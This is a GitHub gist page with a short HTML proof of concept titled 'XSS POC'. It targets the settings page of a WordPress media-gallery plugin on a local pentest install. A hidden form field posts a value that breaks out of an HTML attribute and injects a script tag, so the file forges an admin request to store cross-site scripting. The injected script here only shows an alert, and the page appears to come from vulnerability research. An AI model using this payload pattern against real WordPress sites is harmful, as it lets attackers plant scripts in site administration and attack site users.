Skip to content

Instantly share code, notes, and snippets.

@NikolaiT
Created December 20, 2013 21:15
Show Gist options
  • Save NikolaiT/8061656 to your computer and use it in GitHub Desktop.
Save NikolaiT/8061656 to your computer and use it in GitHub Desktop.
xss POC
<!DOCTYPE html>
<html>
<head>
<title>XSS POC</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width">
</head>
<body>
<div>
<!-- You need to change the URL here -->
<form id="xss-test" action="http://localhost/~nikolai/wordpress_pentest/wordpress/wp-admin/index.php?page=settings&post_type=easymediagallery" method="POST">
<input type="hidden" name="action" value="save" />
<input type="hidden" name="easymedia_style_pattern" value='pattern-01.png" name="easymedia_style_pattern" id="easymedia_style_pattern" /><script>alert("This wont get executed");</script>' />
<input type="Submit" value="Submit" />
</form>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment